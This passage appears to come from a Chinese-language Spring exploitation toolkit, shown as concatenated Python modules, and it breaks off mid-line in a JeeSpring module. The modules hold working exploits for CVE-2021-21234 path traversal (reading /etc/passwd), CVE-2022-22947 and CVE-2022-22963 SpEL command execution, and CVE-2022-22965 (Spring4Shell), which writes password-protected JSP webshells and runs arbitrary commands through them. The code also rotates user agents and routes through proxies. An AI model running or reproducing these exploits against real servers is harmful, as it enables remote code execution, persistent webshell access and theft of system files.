url = URLMethod() 27 | standurl = url.StandURL("www.baidu.com") 28 | print(standurl) 29 | fileurl = url.FileURL('1.txt') 30 | print(fileurl) 31 | -------------------------------------------------------------------------------- /util/YamlMethod.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import yaml 4 | from util import JsonMethod 5 | 6 | class YamlMethod: 7 | def YamlRead(self,path): 8 | with open(path, mode="r", encoding="utf-8") as f: 9 | yamlConf = yaml.load(f.read(), Loader=yaml.FullLoader) 10 | return yamlConf 11 | def YamlWrite(self,data,path): 12 | with open(path, mode='w', encoding='utf-8') as f: 13 | yaml.dump(data,f) 14 | return True 15 | def YamlToJsonFile(self,data,path): 16 | jsonMethod = JsonMethod.JsonMethod() 17 | data = jsonMethod.JsonWrite(data,path) 18 | return data 19 | if __name__ == '__main__': 20 | YamlLoad = YamlMethod() 21 | data = YamlLoad.YamlRead("../vuls/CVE_2021_21234.yaml") 22 | print(data) 23 | # data = YamlLoad.YamlToJsonFile(data,"../vuls/CVE_2021_21234.json") 24 | # print(data) -------------------------------------------------------------------------------- /vuls/CVE_2021_21234.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests 4 | 5 | class CVE_2021_21234: 6 | def __init__(self): 7 | self.payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 8 | self.payload2 = 'log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 9 | self.payload3 = 'manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../' 10 | self.payload4 = 'log/view?filename=/etc/passwd&base=../../../../../../../../../../' 11 | def poc(self,url,proxies,ProxyStute): 12 | if ProxyStute == 1: 13 | proxies = proxies 14 | else: 15 | proxies = None 16 | try: 17 | requests.packages.urllib3.disable_warnings() 18 | re1 = requests.post(url=url + self.payload1, verify=False, proxies=proxies) 19 | re2 = requests.post(url=url + self.payload2, verify=False, proxies=proxies) 20 | re3 = requests.post(url=url + self.payload3, verify=False, proxies=proxies) 21 | re4 = requests.post(url=url + self.payload4, verify=False, proxies=proxies) 22 | if (('MAPI' in str(re1.text)) or ('MAPI' in str(re2.text))): 23 | result = "[+] 发现Spring Boot目录遍历漏洞且系统为Win\n" 24 | result1 = f"{url + self.payload1}\n" 25 | result2 = f"{url + self.payload2}" 26 | return result + result1 + result2 27 | elif (('root:x:' in str(re3.text)) or ('root:x:' in str(re4.text))): 28 | result = "[+] 发现Spring Boot目录遍历漏洞且系统为Linux\n" 29 | result1 = f"{url + self.payload3}\n" 30 | result2 = f"{url + self.payload4}" 31 | return result + result1 + result2 32 | else: 33 | result = f"[-] {url} 未发现Spring Boot目录遍历漏洞" 34 | return result 35 | except Exception as e: 36 | error = f"[error] {url} 未知错误 {e}" 37 | return error 38 | def exp(self,url,proxies,ProxyStute,cmd): 39 | # 目录遍历不存在EXP 40 | pass -------------------------------------------------------------------------------- /vuls/CVE_2021_21234_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import aiohttp 4 | import asyncio 5 | 6 | class CVE_2021_21234_Async: 7 | def __init__(self): 8 | self.payload1 = 'manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 9 | self.payload2 = 'log/view?filename=/windows/win.ini&base=../../../../../../../../../../' 10 | self.payload3 = 'manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../' 11 | self.payload4 = 'log/view?filename=/etc/passwd&base=../../../../../../../../../../' 12 | 13 | async def fetch(self, session, url, payload, proxies): 14 | try: 15 | async with session.post(url=url + payload, verify_ssl=False, proxy=proxies) as response: 16 | return await response.text() 17 | except Exception as e: 18 | return str(e) 19 | 20 | async def poc(self, url, proxies, ProxyStute): 21 | if ProxyStute == 1: 22 | proxy = proxies 23 | else: 24 | proxy = None 25 | 26 | try: 27 | async with aiohttp.ClientSession() as session: 28 | tasks = [ 29 | self.fetch(session, url, self.payload1, proxy), 30 | self.fetch(session, url, self.payload2, proxy), 31 | self.fetch(session, url, self.payload3, proxy), 32 | self.fetch(session, url, self.payload4, proxy), 33 | ] 34 | 35 | responses = await asyncio.gather(*tasks) 36 | 37 | if any('MAPI' in str(resp) for resp in responses[:2]): 38 | result = "[+] 发现Spring Boot目录遍历漏洞且系统为Win\n" 39 | result1 = f"{url + self.payload1}\n" 40 | result2 = f"{url + self.payload2}" 41 | return result + result1 + result2 42 | elif any('root:x:' in str(resp) for resp in responses[2:]): 43 | result = "[+] 发现Spring Boot目录遍历漏洞且系统为Linux\n" 44 | result1 = f"{url + self.payload3}\n" 45 | result2 = f"{url + self.payload4}" 46 | return result + result1 + result2 47 | else: 48 | result = f"[-] {url} 未发现Spring Boot目录遍历漏洞" 49 | return result 50 | except Exception as e: 51 | error = f"[error] {url} 未知错误 {e}" 52 | return error 53 | async def exp(self, url, proxies, ProxyStute): 54 | pass 55 | if __name__ == "__main__": 56 | url = "http://127.0.0.1:8081" 57 | cve_checker = CVE_2021_21234_Async() 58 | result = asyncio.run(cve_checker.poc(url, proxies=None, ProxyStute=0)) 59 | print(result) -------------------------------------------------------------------------------- /vuls/CVE_2022_22947.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import json 4 | import requests 5 | 6 | from util import RandomUA 7 | 8 | class CVE_2022_22947: 9 | def __init__(self): 10 | ua = RandomUA.RandomUA() 11 | self.ua1 = ua.UserAgent() 12 | self.ua2 = ua.UserAgent() 13 | self.headers1 = { 14 | 'Accept-Encoding': 'gzip, deflate', 15 | 'Accept': '*/*', 16 | 'Accept-Language': 'en', 17 | 'User-Agent': self.ua1, 18 | 'Content-Type': 'application/json' 19 | } 20 | 21 | self.headers2 = { 22 | 'User-Agent': self.ua2, 23 | 'Content-Type': 'application/x-www-form-urlencoded' 24 | } 25 | def cmdStand(self,execcmd): 26 | execcmd = execcmd.strip("\n").strip(" ") 27 | if " " in execcmd: 28 | cmd = execcmd.split(" ") 29 | execcmd = "\\\"" + "\\\", \\\"".join(cmd) + "\\\"" 30 | else: 31 | execcmd = "\\\"" + execcmd + "\\\"" 32 | return execcmd 33 | def poc(self,url,proxies,ProxyStute,cmd="whoami"): 34 | cmd = self.cmdStand(cmd) 35 | payload = '''{\r 36 | "id": "hacktest",\r 37 | "filters": [{\r 38 | "name": "AddResponseHeader",\r 39 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{%s}).getInputStream()))}"}\r 40 | }],\r 41 | "uri": "http://example.com",\r 42 | "order": 0\r 43 | }''' % cmd 44 | if ProxyStute == 1: 45 | proxies = proxies 46 | else: 47 | proxies = None 48 | try: 49 | requests.packages.urllib3.disable_warnings() 50 | 51 | re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload, headers=self.headers1, json=json, 52 | verify=False, proxies=proxies) 53 | re2 = requests.post(url=url + "actuator/gateway/refresh", headers=self.headers2, verify=False, proxies=proxies) 54 | re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=self.headers2, verify=False, 55 | proxies=proxies) 56 | re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=self.headers2, verify=False, 57 | proxies=proxies) 58 | re5 = requests.post(url=url + "actuator/gateway/refresh", headers=self.headers2, verify=False, proxies=proxies) 59 | 60 | # if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)): 61 | if re5.status_code == 200: 62 | reslut = f"[+] {url} Payload已经输出,回显结果如下" 63 | reslut1 =re3.text.encode("utf-8").decode("unicode_escape") + "\n" 64 | return reslut + reslut1 65 | else: 66 | reslut = f"[-] {url} CVE-2022-22947漏洞不存在" 67 | return reslut 68 | except Exception as e: 69 | error = f"[error] {url} 未知错误 {e}" 70 | return error 71 | def exp(self,url,proxies,ProxyStute,cmd): 72 | result = self.poc(url,proxies,ProxyStute,cmd) 73 | return result -------------------------------------------------------------------------------- /vuls/CVE_2022_22947_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import json 4 | import aiohttp 5 | import asyncio 6 | 7 | from util import RandomUA 8 | 9 | class CVE_2022_22947_Async: 10 | def __init__(self): 11 | ua = RandomUA.RandomUA() 12 | self.ua1 = ua.UserAgent() 13 | self.ua2 = ua.UserAgent() 14 | self.headers1 = { 15 | 'Accept-Encoding': 'gzip, deflate', 16 | 'Accept': '*/*', 17 | 'Accept-Language': 'en', 18 | 'User-Agent': self.ua1, 19 | 'Content-Type': 'application/json' 20 | } 21 | 22 | self.headers2 = { 23 | 'User-Agent': self.ua2, 24 | 'Content-Type': 'application/x-www-form-urlencoded' 25 | } 26 | self.payload = '''{\r 27 | "id": "hacktest",\r 28 | "filters": [{\r 29 | "name": "AddResponseHeader",\r 30 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r 31 | }],\r 32 | "uri": "http://example.com",\r 33 | "order": 0\r 34 | }''' 35 | 36 | self.payload2 = '''{\r 37 | "id": "hacktest",\r 38 | "filters": [{\r 39 | "name": "AddResponseHeader",\r 40 | "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"whoami\\"}).getInputStream()))}"}\r 41 | }],\r 42 | "uri": "http://example.com",\r 43 | "order": 0\r 44 | }''' 45 | 46 | async def fetch(self, session, url, payload, headers, proxies): 47 | try: 48 | async with session.post(url=url, data=payload, headers=headers, verify_ssl=False, proxies=proxies) as response: 49 | return await response.text() 50 | except Exception as e: 51 | return str(e) 52 | 53 | async def poc(self, url, proxies, ProxyStute): 54 | if ProxyStute == 1: 55 | proxy = proxies 56 | else: 57 | proxy = None 58 | try: 59 | async with aiohttp.ClientSession() as session: 60 | tasks = [ 61 | self.fetch(session, url + "actuator/gateway/routes/hacktest", self.payload, self.headers1, proxy), 62 | self.fetch(session, url + "actuator/gateway/refresh", "", self.headers2, proxy), 63 | self.fetch(session, url + "actuator/gateway/routes/hacktest", "", self.headers2, proxy), 64 | ] 65 | 66 | responses = await asyncio.gather(*tasks) 67 | 68 | if 'uid=' in str(responses[2]) and 'gid=' in str(responses[2]) and 'groups=' in str(responses[2]): 69 | result = f"[-] {url} Payload已经输出,回显结果如下" 70 | result1 = responses[2] + "\n" 71 | return result + result1 72 | else: 73 | result = f"[-] {url} CVE-2022-22947漏洞不存在" 74 | return result 75 | except Exception as e: 76 | error = f"[error] {url} 未知错误 {e}" 77 | return error 78 | async def exp(self, url, proxies, ProxyStute): 79 | pass -------------------------------------------------------------------------------- /vuls/CVE_2022_22963.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests 4 | from util import RandomUA 5 | 6 | class CVE_2022_22963: 7 | def __init__(self): 8 | ua = RandomUA.RandomUA() 9 | self.ua = ua.UserAgent() 10 | 11 | self.data = 'test' 12 | 13 | self.path = 'functionRouter' 14 | def poc(self,url,proxies,ProxyStute,cmd="whoami"): 15 | payload = f'T(java.lang.Runtime).getRuntime().exec("{cmd}")' 16 | self.header = { 17 | 'spring.cloud.function.routing-expression': payload, 18 | 'Accept-Encoding': 'gzip, deflate', 19 | 'Accept': '*/*', 20 | 'Accept-Language': 'en', 21 | 'User-Agent': self.ua, 22 | 'Content-Type': 'application/x-www-form-urlencoded' 23 | } 24 | if ProxyStute == 1: 25 | proxies = proxies 26 | else: 27 | proxies = None 28 | try: 29 | url = url + self.path 30 | requests.packages.urllib3.disable_warnings() 31 | 32 | req = requests.post(url=url,headers=self.header, 33 | data=self.data,verify=False,proxies=proxies,timeout=6) 34 | code = req.status_code 35 | text = req.text 36 | rsp = '"error":"Internal Server Error"' 37 | if code == 500 and rsp in text: 38 | result = f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,执行命令\n{cmd}' 39 | return result 40 | else: 41 | result = f'[-] {url} CVE-2022-22963漏洞不存在' 42 | return result 43 | except Exception as e: 44 | error = f"[error] {url} 未知错误 {e}" 45 | return error 46 | 47 | def exp(self,url,proxies,ProxyStute,cmd): 48 | result = self.poc(url,proxies,ProxyStute,cmd) 49 | return result -------------------------------------------------------------------------------- /vuls/CVE_2022_22963_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import aiohttp 4 | from util import RandomUA 5 | 6 | class CVE_2022_22963_Async: 7 | def __init__(self): 8 | ua = RandomUA.RandomUA() 9 | self.ua = ua.UserAgent() 10 | self.payload = f'T(java.lang.Runtime).getRuntime().exec("whoami")' 11 | 12 | self.data = 'test' 13 | self.header = { 14 | 'spring.cloud.function.routing-expression': self.payload, 15 | 'Accept-Encoding': 'gzip, deflate', 16 | 'Accept': '*/*', 17 | 'Accept-Language': 'en', 18 | 'User-Agent': self.ua, 19 | 'Content-Type': 'application/x-www-form-urlencoded' 20 | } 21 | self.path = 'functionRouter' 22 | 23 | async def fetch(self, session, url, headers, data, proxies): 24 | try: 25 | async with session.post(url=url, headers=headers, data=data, verify_ssl=False, proxies=proxies, timeout=6) as response: 26 | return await response.text(), response.status 27 | except Exception as e: 28 | return str(e), 0 29 | 30 | async def poc(self, url, proxies, ProxyStute): 31 | if ProxyStute == 1: 32 | proxy = proxies 33 | else: 34 | proxy = None 35 | try: 36 | self.url = url + self.path 37 | async with aiohttp.ClientSession() as session: 38 | text, code = await self.fetch(session, self.url, self.header, self.data, proxy) 39 | 40 | rsp = '"error":"Internal Server Error"' 41 | if code == 500 and rsp in text: 42 | result = f'[+] {url} 存在编号为CVE-2022-22963的RCE漏洞,请手动反弹Shell' 43 | return result 44 | else: 45 | result = f'[-] {url} CVE-2022-22963漏洞不存在' 46 | return result 47 | except Exception as e: 48 | error = f"[error] {url} 未知错误 {e}" 49 | return error 50 | async def exp(self, url, proxies, ProxyStute): 51 | pass -------------------------------------------------------------------------------- /vuls/CVE_2022_22965.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from fileinput import filename 3 | from time import sleep 4 | import requests 5 | import urllib3 6 | 7 | from util import RandomUA 8 | from util import JsonMethod 9 | class CVE_2022_22965: 10 | def __init__(self): 11 | ua = RandomUA.RandomUA() 12 | 13 | self.configRead = JsonMethod.JsonMethod() 14 | 15 | self.ua = ua.UserAgent() 16 | self.Headers_1 = { 17 | "User-Agent": self.ua, 18 | "suffix": "%>//", 19 | "c1": "Runtime", 20 | "c2": "<%", 21 | "DNT": "1", 22 | "Content-Type": "application/x-www-form-urlencoded" 23 | } 24 | self.payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 25 | self.payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 26 | self.payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 27 | self.data1 = self.payload_linux 28 | self.data2 = self.payload_win 29 | 30 | self.post_headers = { 31 | "Content-Type": "application/x-www-form-urlencoded" 32 | } 33 | self.get_headers = { 34 | "prefix": "<%", 35 | "suffix": "%>//", 36 | "c": "Runtime", 37 | } 38 | 39 | self.log_pattern1 = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ 40 | f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \ 41 | f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \ 42 | f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" 43 | self.log_pattern2 = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \ 44 | f"if(%2213exp%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in" \ 45 | f"%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()" \ 46 | f"%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20" \ 47 | f"while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di" 48 | self.directory = "webapps/ROOT" 49 | self.log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" 50 | self.log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={self.directory}" 51 | self.log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" 52 | 53 | def poc(self,url,proxies,ProxyStute): 54 | self.expTypeGet = self.configRead.VulnsConfigRead() 55 | self.expType = self.expTypeGet["expType"] 56 | if self.expType == "aabysszg": 57 | result = self.poc1(url,proxies,ProxyStute) 58 | return result 59 | else: 60 | result = self.poc2(url,proxies,ProxyStute) 61 | return result 62 | def poc1(self,url,proxies,ProxyStute): 63 | if ProxyStute == 1: 64 | proxies = proxies 65 | else: 66 | proxies = None 67 | self.getpayload = url + self.payload_http 68 | try: 69 | requests.packages.urllib3.disable_warnings() 70 | requests.post(url, headers=self.Headers_1, data=self.data1, timeout=6, allow_redirects=False, verify=False, 71 | proxies=proxies) 72 | sleep(0.5) 73 | requests.post(url, headers=self.Headers_1, data=self.data2, timeout=6, allow_redirects=False, verify=False, 74 | proxies=proxies) 75 | sleep(0.5) 76 | requests.get(self.getpayload, headers=self.Headers_1, timeout=6, allow_redirects=False, verify=False, proxies=proxies) 77 | sleep(0.5) 78 | 79 | test = requests.get(url + "tomcatwar.jsp", verify=False, proxies=proxies) 80 | if (test.status_code == 200) and ('aabysszg' in str(test.text)): 81 | result = f'[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami' 82 | return result 83 | else: 84 | result = f'[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:[/tomcatwar.jsp?pwd=aabysszg&cmd=命令]' 85 | return result 86 | except Exception as e: 87 | error = f"[error] {url} 未知错误 {e}" 88 | return error 89 | def poc2(self,url,proxies,ProxyStute): 90 | 91 | if ProxyStute == 1: 92 | proxies = proxies 93 | else: 94 | proxies = None 95 | if self.expType == "default": 96 | self.filename = "shell" 97 | self.log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={self.filename}" 98 | self.exp_data = "&".join([self.log_pattern1, self.log_file_suffix, self.log_file_dir, self.log_file_prefix, 99 | self.log_file_date_format]) 100 | elif self.expType == "13EXP": 101 | self.filename = "wbexp" 102 | self.log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={self.filename}" 103 | self.exp_data = "&".join([self.log_pattern2, self.log_file_suffix, self.log_file_dir, self.log_file_prefix, 104 | self.log_file_date_format]) 105 | else: 106 | return "error" 107 | 108 | try: 109 | requests.packages.urllib3.disable_warnings() 110 | file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" 111 | ret = requests.post(url, headers=self.post_headers, data=file_date_data, verify=False, proxies=proxies) 112 | ret = requests.post(url, headers=self.post_headers, data=self.exp_data, verify=False, proxies=proxies) 113 | result1 = f"[+]Upload Exp: {ret.status_code}\n" 114 | if ret.status_code == 200: 115 | sleep(3) 116 | ret = requests.get(url, headers=self.get_headers, verify=False, proxies=proxies) 117 | sleep(1) 118 | pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" 119 | ret = requests.post(url, headers=self.post_headers, data=pattern_data, verify=False, proxies=proxies) 120 | result2 = f"[+]Wirte Shell Response Code: {ret.status_code}\n" 121 | if ret.status_code == 200: 122 | if self.expType == "default": 123 | result3 = f"[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}shell.jsp?cmd=whoami" 124 | return result1 + result2 + result3 125 | elif self.expType == "13EXP": 126 | result4 = f"[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}wbexp.jsp?pwd=13exp&cmd=whoami" 127 | return result1 + result2 + result4 128 | else: 129 | return "error" 130 | else: 131 | result = f"[-]Wirte Shell Response Error: {ret.status_code}" 132 | return result 133 | else: 134 | result = f"[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址自行扫描" 135 | return result 136 | except Exception as e: 137 | error = f"[error] {url} 未知错误 {e}" 138 | return error 139 | def exp(self, url, proxies, ProxyStute,cmd): 140 | self.expTypeGet = self.configRead.VulnsConfigRead() 141 | self.expType = self.expTypeGet["expType"] 142 | shell1 = url + f"shell.jsp?cmd={cmd}" 143 | shell2 = url + f"tomcatwar.jsp?pwd=aabysszg&cmd={cmd}" 144 | shell3 = url + f"wbexp.jsp?pwd=13exp&cmd={cmd}" 145 | if ProxyStute == 1: 146 | proxies = proxies 147 | else: 148 | proxies = None 149 | try: 150 | if self.expType == "default": 151 | r = requests.get(url=shell1,proxies=proxies) 152 | elif self.expType == "aabysszg": 153 | r = requests.get(url=shell2,proxies=proxies) 154 | elif self.expType == "13EXP": 155 | r = requests.get(url=shell3,proxies=proxies) 156 | else: 157 | return "error exp" 158 | resp = r.text.strip("\n") 159 | return resp 160 | except urllib3.util.ssl_match_hostname.CertificateError: 161 | result = "[-] CVE_2022_22965命令执行 请求错误" 162 | except urllib3.exceptions.MaxRetryError: 163 | result = "[-] CVE_2022_22965命令执行 请求错误" 164 | except requests.exceptions.SSLError: 165 | result = "[-] CVE_2022_22965命令执行 请求错误" 166 | except: 167 | result = "[-] CVE_2022_22965命令执行 未知错误" 168 | return result 169 | if __name__ == "__main__": 170 | poc = CVE_2022_22965() 171 | result = poc.poc("http://127.0.0.1:8081",proxies=None,ProxyStute=0) 172 | print(result) -------------------------------------------------------------------------------- /vuls/CVE_2022_22965_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import aiohttp 4 | import asyncio 5 | from util import RandomUA 6 | 7 | class CVE_2022_22965_Async: 8 | def __init__(self): 9 | ua = RandomUA.RandomUA() 10 | self.ua = ua.UserAgent() 11 | self.Headers_1 = { 12 | "User-Agent": self.ua, 13 | "suffix": "%>//", 14 | "c1": "Runtime", 15 | "c2": "<%", 16 | "DNT": "1", 17 | "Content-Type": "application/x-www-form-urlencoded" 18 | } 19 | self.payload_linux = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22bash%22,%22-c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 20 | self.payload_win = """class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(new String[]{%22cmd%22,%22/c%22,request.getParameter(%22cmd%22)}).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 21 | self.payload_http = """?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22aabysszg%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=""" 22 | self.data1 = self.payload_linux 23 | self.data2 = self.payload_win 24 | 25 | async def fetch(self, session, url, headers, data, proxies): 26 | try: 27 | async with session.post(url=url, headers=headers, data=data, verify_ssl=False, proxies=proxies, timeout=6) as response: 28 | return await response.text(), response.status 29 | except Exception as e: 30 | return str(e), 0 31 | 32 | async def poc(self, url, proxies, ProxyStute): 33 | if ProxyStute == 1: 34 | proxy = proxies 35 | else: 36 | proxy = None 37 | try: 38 | async with aiohttp.ClientSession() as session: 39 | # Asynchronously perform the requests 40 | await asyncio.gather( 41 | self.fetch(session, url, self.Headers_1, self.data1, proxy), 42 | asyncio.sleep(0.5), # Sleep for 0.5 seconds between requests 43 | self.fetch(session, url, self.Headers_1, self.data2, proxy), 44 | asyncio.sleep(0.5), # Sleep for 0.5 seconds between requests 45 | self.fetch(session, url + self.payload_http, self.Headers_1, "", proxy), 46 | asyncio.sleep(0.5) # Sleep for 0.5 seconds between requests 47 | ) 48 | 49 | # Check the result 50 | test_text, test_code = await self.fetch(session, url + "tomcatwar.jsp", self.Headers_1, "", proxy) 51 | 52 | if test_code == 200 and 'aabysszg' in str(test_text): 53 | result = f'[+] 存在编号为CVE-2022-22965的RCE漏洞,上传Webshell为:{url}tomcatwar.jsp?pwd=aabysszg&cmd=whoami' 54 | return result 55 | else: 56 | result = f'[-] {url} CVE-2022-22965漏洞不存在或者已经被利用,shell地址请手动尝试访问:[/tomcatwar.jsp?pwd=aabysszg&cmd=命令]' 57 | return result 58 | except Exception as e: 59 | error = f"[error] {url} 未知错误 {e}" 60 | return error 61 | async def exp(self, url, proxies, ProxyStute): 62 | pass -------------------------------------------------------------------------------- /vuls/JeeSpring_2023.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import base64 4 | import requests 5 | 6 | from util import RandomUA 7 | 8 | class JeeSpring_2023: 9 | def __init__(self): 10 | ua = RandomUA.RandomUA() 11 | self.ua = ua.UserAgent() 12 | self.headers1 = { 13 | 'User-Agent': self.ua, 14 | 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', 15 | 'Accept-Encoding': 'gzip, deflate', 16 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn g,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 17 | 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', 18 | 'Connection': 'close' 19 | } 20 | self.payload2 = 